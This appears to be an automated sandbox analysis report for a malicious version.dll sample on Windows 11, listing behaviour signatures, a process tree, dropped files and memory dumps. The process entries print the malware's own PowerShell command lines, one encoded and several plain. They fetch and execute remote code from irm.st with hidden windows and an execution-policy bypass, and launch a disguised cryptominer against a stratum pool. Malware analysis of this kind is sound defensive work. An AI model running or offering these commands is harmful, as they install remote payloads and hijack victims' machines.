Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 18:38

General

  • Target
    version.dll
  • Size 124KB
  • Sample261027-w97kqaec56
  • SHA256 00f6b47ed70472f6b7cf95b8cdeb33d254906d780148df205320a0f7d25298e4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\version.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3872
    • C:\Users\Admin\AppData\Local\Temp\490964462\zmstage.exe
      "C:\Users\Admin\AppData\Local\Temp\490964462\zmstage.exe"
      2⤵
        PID:4196
      • C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO
        "C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO"
        2⤵
        • Checks BIOS information in registry
        • Suspicious use of WriteProcessMemory
        PID:4148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1780
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
            4⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5856
            • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
              5⤵
              • Executes dropped EXE
              PID:796
      • C:\Users\Admin\AppData\Local\Temp\loader.exe
        "C:\Users\Admin\AppData\Local\Temp\loader.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1376
        • C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO
          "C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO"
          3⤵
          • Checks BIOS information in registry
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
            4⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2468
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
              5⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/832533 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3312
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/832533 | iex"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/483171 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1164

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 43cafb557c649536eb33cc9f3cc4f07f08c0f6713a3e4a04cc7832db7e937a8b
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 ac12a27cabb714e5a571b5f98dd99eaf95150ac7aba2d213e3859f15831db8c5
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 08ce0f18f36cf51ccbfb2ad742ac3d71679e6b7103b2d42d7c09c081785bce6f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 629ae9c5d46e008d1e8c3ce9d8f9449d4a9255b22fcbace9af38a8ae51de2750
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_ro43t1cu.m1p.psm1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ro43t1cu.m1p.psm1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1780-4-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-16-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-8-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-12-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-13-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-14-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-15-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-11-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-0-0x00007FFF40EBF000-0x00007FFF40EC0000-memory.dmp

          memory/1780-7-0x0000016B5F500000-0x0000016B5F522000-memory.dmp

          memory/1780-21-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-3-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-1-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/1780-2-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

          memory/2468-17-0x0000028970780000-0x0000028970942000-memory.dmp

          memory/5856-33-0x000001D5E4840000-0x000001D5E4864000-memory.dmp

          memory/5856-37-0x000001D5E4830000-0x000001D5E4842000-memory.dmp

          memory/5856-38-0x000001D5E4820000-0x000001D5E482A000-memory.dmp

          memory/5856-32-0x000001D5E4840000-0x000001D5E486A000-memory.dmp

          memory/5856-31-0x000001D5E4800000-0x000001D5E480A000-memory.dmp

          memory/5856-30-0x000001D5E4740000-0x000001D5E47F2000-memory.dmp

          memory/5856-29-0x000001D5E42C0000-0x000001D5E42DE000-memory.dmp